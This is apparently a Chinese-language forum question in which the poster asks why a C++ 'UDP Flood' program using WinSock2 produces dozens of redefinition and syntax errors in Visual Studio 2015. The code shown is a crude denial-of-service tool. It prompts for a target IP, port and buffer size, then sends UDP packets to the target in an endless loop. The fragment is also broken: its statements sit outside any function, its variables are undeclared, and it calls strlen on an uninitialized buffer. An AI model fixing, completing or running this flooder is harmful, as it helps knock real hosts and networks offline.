我正在尝试使用c++中的WinSock2.h制作UDP Flood,但是我只在WinSock2.h上收到超过70个错误和17个警告,所有错误都是重新定义、ws2def.h语法错误以及"不同的链接"。我是否做错了什么或者这是WinSock2的问题?如果有用的话,我正在使用64位Windows 10,Visual Studio 2015。
#include "stdafx.h"
#include <WinSock2.h>
#include <windows.h>
#include <fstream>
#include <time.h>
#include "wtypes.h"
#include "Functions.h"
#pragma comment(lib, "ws2_32.lib")
//Get IP
cin.getline(TargetIP, 17);
//Get IP
cout << "Enter the Port: ";
cin >> nPort;
cout << endl;
//Initialize WinSock 2.2
WSAStartup(MAKEWORD(2, 2), &wsaData);
//Create our UDP Socket
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//Setup the target address
targetAddr.sin_family = AF_INET;
targetAddr.sin_port = htons(nPort);
targetAddr.sin_addr.s_addr = inet_addr(TargetIP);
//Get input from user
cout << "Please specify the buffer size:";
cin >> bufferSize;
//Create our buffer
char * buffer = new char[bufferSize];
while(true){
//send the buffer to target
sendto(s, buffer, strlen(buffer), NULL, (sockaddr *)&targetAddr, sizeof(targetAddr));
}
//Close Socket
closesocket(s);
//Cleanup WSA
WSACleanup();
//Cleanup our buffer (prevent memory leak)
delete[]buffer;